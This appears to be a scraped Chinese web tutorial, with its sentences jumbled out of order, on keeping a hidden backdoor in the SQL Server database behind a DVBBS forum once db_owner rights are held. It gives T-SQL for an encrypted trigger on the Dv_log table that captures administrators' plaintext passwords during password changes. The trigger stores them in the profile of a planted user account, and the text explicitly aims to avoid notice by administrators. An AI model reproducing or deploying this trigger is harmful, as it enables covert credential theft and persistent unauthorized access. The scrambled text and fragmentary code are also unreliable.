1.触发器权限和所有权
create TRIGGER权限默认授予定义触发器的表所有者、sysadmin 固定服务器角色成员以及 db_owner 和 db_ddladmin 固定数据库角色成员,并且不可转让
首次更新时,汪财的usersign字段里没有内容,而SQL Server里null加任何数都是null,所以需要判断is null之后,给null赋值为一个空格
(2)Usersign,字段类型:varchar(255)
www.orchn.com
(2)管理员的日志中,有很多日志,怎么判断它就是在记录更改密码
网络
(3)Useremail,字段类型:nvarchar(255)
(4)Userinfo,字段类型:text
3.为什么要使用触发器作后门?
管理员首先会把sql文件执行下,然后导入mdb的内容,平时使用顶多备份下,还原下
4.思路
触发器主要是用来做历史记录的,当然可以把管理员更改密码和添加用户的历史记录下
5.解决的问题:
(1)如果都放满了
www.orchn.com
create trigger dv_admin_history
on Dv_log
with encryption
for insertas
as
触发器需要建立在Dv_log表上,这里放入的是明文密码
服务器
if (len(@usersign) < 150 or @usersign is null)
begin if (@usersign is null)
set @usersign = ’ ’
set @passinfo = @usersign @passinfo
update Dv_User set usersign = @passinfo where username = @username
commit tran
returnend
end
首次更新时,usersign字段里没有内容,而SQL Server里null加任何数都是null,所以需要判断is null之后,给null赋值为一个空格
通信
使用过程――代码解析
代码片断:创建触发器
动网的密码有md5加过密的,加密的操作是asp程序在服务器上来完成的,等数据库拿到数据的时候已经是加过密的了
在管理员操作用户时,当然会在“user.asp”或者“admin.asp”中操作,所以我们判断条件需要:
select @passinfo = l_content from inserted where l_type = 1 and (l_touser = ’user.asp’ or l_touser = ’admin.asp’)
在l_touser为user.asp或者admin.asp时,说明管理员在操作(查看,更新,删除)用户或者管理员
我选择放在一个新建用户的用户信息里(以下通称这个用户为“汪财”,亲切点),这样我们登陆时就可以看到了(注意:登陆时有日志的,记录最后登陆ip,大家自己解决)
有以下几个字段适于存放:
(1)Userphoto,字段类型:varchar(255)
本文以动网论坛dvbbs为例,我们已经拿到了db_owner权限(注意:并不是说dvbbs本身有漏洞)
理论上,如果我们看到了第一个字段有了东西,就应该拿笔记下来,然后删除掉
触发器是在对表进行插入(insert)、更新(update)或删除(delete)操作时,自动执行的存储过程
通信
2.需要的环境
本文需要的环境是已经获取了sql服务器的以上其中一个权限,目的是为了留下隐蔽的后门,不被管理员发现
取出来的值应该放入一个普通用户能看到的地方,这样只要有了普通用户的权限就可以看到密码
0
顶一下0
踩一下